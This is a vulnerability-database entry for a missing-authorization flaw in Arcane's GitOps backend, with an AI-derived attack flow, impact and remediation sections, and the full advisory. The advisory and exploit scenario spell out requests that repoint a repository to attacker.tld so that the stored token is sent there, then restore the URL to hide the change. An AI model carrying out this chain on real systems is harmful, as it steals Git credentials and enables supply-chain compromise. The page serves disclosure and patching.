Skip to main content

Arcane EUVDEUVD-2026-33373

| CVE-2026-45625 CRITICAL
Missing Authorization (CWE-862)
2026-05-18 https://github.com/getarcaneapp/arcane GHSA-7h26-hg47-p9hx
9.9
CVSS 3.1 · Vendor: https://github.com/getarcaneapp/arcane
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as default 'user' role
  2. Delivery
    Enumerate repos via GET /git-repositories
  3. Exploit
    Repoint URL to attacker host preserving token
  4. Install
    Trigger /test or /branches call
  5. C2
    Arcane sends Basic auth PAT to attacker
  6. Execute
    Restore original URL to hide tampering
  7. Impact
    Pivot into GitHub/GitLab org with stolen credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a valid authenticated session on the target Arcane instance with any role (the default 'user' role is sufficient - admin is NOT required), and at least one git repository must already be configured by an administrator with a stored token or SSH key for the credential-theft variant to be useful. Network reachability to /api/customize/git-repositories/* on the Arcane backend is required, and the attacker must control an external host (HTTP or SSH) that Arcane can reach from its egress to receive the credential. Limiting factors: instances that disable self-registration and have no compromised non-admin accounts are not externally reachable without first obtaining valid credentials; instances with no git repositories configured yet expose only the tampering/DoS primitives, not credential theft. No special non-default configuration is required - default Arcane installations grant new accounts the 'user' role automatically, making the vulnerable endpoints reachable out of the box.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9) accurately reflects the real-world risk: network-reachable, low complexity, low privileges (any authenticated 'user'), no user interaction, with a changed scope because the stolen PATs/SSH keys typically grant write access to external GitHub/GitLab orgs, CI systems, and container registries well outside Arcane's trust boundary. No EPSS, KEV, or SSVC data was provided in the input, so probabilistic exploitation likelihood cannot be quantified, and no public exploit identified at time of analysis - however, the GHSA advisory itself contains a step-by-step weaponizable attack chain, lowering the bar to develop one. The PR:L requirement is the only meaningful mitigating factor; in default Arcane installations new accounts get the 'user' role automatically, so any environment that allows self-registration or has any non-admin account is effectively exposed to unauthenticated risk in practice. This should be treated as a high-priority patch target despite the absence of telemetry signals, because the impact is supply-chain credential theft rather than just in-product compromise.

Exploit ScenarioDerived

An attacker with any low-privileged Arcane account (obtained via self-registration or a compromised employee login) calls GET /api/customize/git-repositories to enumerate configured repos, then PUT /api/customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} omitting the token field so the stored PAT is preserved. A follow-up POST /api/customize/git-repositories/{id}/test causes Arcane to decrypt the PAT and present it as HTTP Basic auth to attacker.tld, where it lands in the web server access log; the attacker then PUTs the original URL back to erase config drift and pivots into the victim's GitHub/GitLab org using the stolen token. No public PoC tool has been published, but the GHSA advisory documents this chain verbatim.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Broken access control in Arcane's GitOps backend (versions <= 1.18.1) allows any authenticated low-privilege user to exfiltrate plaintext Git credentials (PATs/SSH keys) stored for source-of-truth repositories. Eight of nine /api/customize/git-repositories endpoints omit the checkAdmin() gate, letting a 'user' role attacker repoint a repository URL to an attacker-controlled host and trigger a /test or /branches call that transmits the decrypted token via HTTP Basic auth. No public exploit identified at time of analysis, but the GHSA advisory documents a complete attack chain and a patched release (1.19.0) is available.

RemediationAI

Vendor-released patch: upgrade the Arcane backend to version 1.19.0 or later, which adds checkAdmin(ctx) enforcement to the eight previously unprotected git_repositories endpoints (see GHSA-7h26-hg47-p9hx at https://github.com/getarcaneapp/arcane/security/advisories/GHSA-7h26-hg47-p9hx). If immediate upgrade is not possible, restrict access at the ingress layer by blocking or reverse-proxy-authorizing /api/customize/git-repositories/* and /api/git-repositories/sync to admin source IPs only (side effect: legitimate admin tooling that calls these endpoints from elsewhere will break), disable open user self-registration so the 'user' role cannot be obtained by an outside attacker, and audit existing non-admin accounts. Because PATs and SSH keys may already have been exfiltrated by a prior insider, rotate every stored Git credential (GitHub/GitLab PATs and SSH keys) referenced by Arcane, review Git provider audit logs for unexpected reference-discovery calls from Arcane's egress IPs to non-corporate hosts, and re-scan any container images/manifests pulled by Arcane during the exposure window for tampering.

Affected VersionsENISA

Arcane < 1.19.0

Affected Packages

go github.com/getarcaneapp/arcane/backend fix: 1.19.0
euvd arcane fix: 1.19.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Arcane is a Go-based GitOps management application (pkg:go/github.com/getarcaneapp/arcane) whose REST layer is built on the huma framework. Its NewAuthBridge middleware (backend/internal/huma/middleware/auth.go) only validates Bearer JWTs, API keys, and agent tokens - role enforcement is intentionally deferred to each handler via a helpers.checkAdmin() call. The GitRepositoryHandler registers nine endpoints, but only SyncRepositories invokes checkAdmin; the other eight (ListRepositories, CreateRepository, GetRepository, UpdateRepository, DeleteRepository, TestRepository, ListBranches, BrowseFiles) perform no role check, and the service layer has no compensating authorization logic. This is a textbook CWE-862 Missing Authorization defect, compounded by a credential-preserving update primitive: UpdateRepository only rewrites token/ssh_key columns when those pointers are non-nil in the request body, while the URL is rewritten unconditionally - letting an attacker pivot the repo target while preserving the encrypted secret, which go-git's HTTP transport then sends as Authorization: Basic base64(username:token) to the attacker's host on the first reference-discovery request.

Know when Gitlab gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/getarcaneapp/arcane) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/getarcaneapp/arcane).

CVSS VectorVendor: https://github.com/getarcaneapp/arcane

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Arcane's huma-based REST API exposes nine endpoints under /api/customize/git-repositories and /api/git-repositories/sync for managing GitOps source repositories and their stored credentials. Eight of those endpoints (list, create, get, update, delete, test, listBranches, browseFiles) never call the checkAdmin(ctx) helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the admin role. As a result, any logged-in user with the default user role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the token/sshKey fields (which UpdateRepository only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next /test, /branches, or /files call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host - producing a one-step exfiltration of plaintext Git credentials.

Details

Auth bridge does not enforce role

backend/internal/huma/middleware/auth.go:192-254 (NewAuthBridge) validates Bearer JWTs / API keys / agent tokens and stores the user (and an userIsAdmin flag) in the request context, but it never rejects non-admin callers - admin enforcement is intentionally delegated to handlers via helpers.checkAdmin:

go
// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }

grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):

go
if userModel.Roles == nil {
    userModel.Roles = []string{"user"}
}

Git repository handler is missing the admin gate on 8 of 9 endpoints

backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers - ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) - perform no role check whatsoever:

go
// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
    if h.repoService == nil {
        return nil, huma.Error500InternalServerError("service not available")
    }
    actor := models.User{}
    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
        actor = *currentUser
    }
    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
    ...

The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either - grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.

Credential-preserving update primitive

UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:

go
// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil      { updates["name"] = *req.Name }
if req.URL != nil       { updates["url"]  = *req.URL }   // <-- attacker-pivotable
if req.AuthType != nil  { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil {                                      // <-- only rewritten if supplied
    if *req.Token == "" { updates["token"] = "" } else {
        encrypted, err := crypto.Encrypt(*req.Token)
        ...
        updates["token"] = encrypted
    }
}

So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.

Sink: Basic-auth send to attacker URL

TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:

go
// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
    authConfig := git.AuthConfig{
        AuthType: repository.AuthType, Username: repository.Username, ...
    }
    if repository.Token != "" {
        token, err := crypto.Decrypt(repository.Token)
        ...
        authConfig.Token = token
    }
    ...
}
go
// backend/pkg/gitutil/git.go:60-69
case "http":
    if config.Token != "" {
        return &githttp.BasicAuth{
            Username: config.Username,
            Password: config.Token,
        }, nil
    }

go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL - so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.

Full attack chain (HTTP-token variant)

  1. Attacker authenticates as a normal user (registration or any pre-existing low-priv account).
  2. GET /api/customize/git-repositories enumerates all configured repositories (id, url, authType, username - token/sshKey are encrypted but their *existence* is visible).
  3. PUT /api/customize/git-repositories/{id} with {"url":"https://attacker.tld/repo.git"} retargets the repo while preserving the encrypted PAT.
  4. POST /api/customize/git-repositories/{id}/test (or GET .../branches) makes Arcane decrypt the PAT and send it to attacker.tld as HTTP Basic auth.
  5. Optional cleanup: PUT again to restore the original URL, leaving no obvious config drift; or DELETE every repo for DoS on the GitOps pipeline.

The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).

Impact

  • Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems - escaping Arcane's security boundary entirely (S:C).
  • Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
  • Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
  • Denial of service on the GitOps pipeline. DELETE /customize/git-repositories/{id} lets any user wipe production repository configurations.
  • Information disclosure of private repo contents. GET .../files clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.

Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.

Executive ViewAI

Why It Matters

Arcane GitOps backend versions 1.18.1 and earlier contain a broken access control flaw that enables authenticated users to exfiltrate plaintext Git credentials (personal access tokens and SSH keys) from source repositories. This directly exposes organizational source code and infrastructure credentials to theft, enabling unauthorized repository access and potential supply chain compromise.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Gitlab

View all
CVE-2021-22205 CRITICAL POC
10.0 Apr 23

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. Rated critical severity (CVSS 10

CVE-2023-7028 CRITICAL POC
10.0 Jan 12

An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.

CVE-2021-22175 CRITICAL POC
9.8 Jun 11

When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab af

CVE-2026-85706 CRITICAL POC
10.0 Sep 12

Unauthenticated arbitrary file read in GitLab CE/EE lets remote attackers retrieve files from the GitLab server via the

CVE-2026-97229 CRITICAL POC
10.0 Oct 13

Remote code execution in GitLab CE/EE (all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2)

CVE-2013-4490 MEDIUM POC
6.5 May 13

The SSH key upload feature (lib/gitlab_keys.rb) in gitlab-shell before 1.7.3, as used in GitLab 5.0 before 5.4.1 and 6.x

CVE-2022-2992 CRITICAL POC
9.9 Oct 17

A vulnerability in GitLab CE/EE affecting all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2 allows

CVE-2026-110264 CRITICAL POC
10.0 Oct 22

Remote code execution in GitLab CE/EE can be triggered by a specially crafted regular expression processed through a vul

CVE-2026-87719 CRITICAL POC
9.9 Sep 12

Sensitive credential and configuration disclosure in GitLab Enterprise Edition allows an authenticated user with Duo Cha

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-93577 CRITICAL POC
9.9 Sep 23

Authenticated code execution on the GitLab server is possible in GitLab CE/EE 19.2 through 19.4.0, where an integer over

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy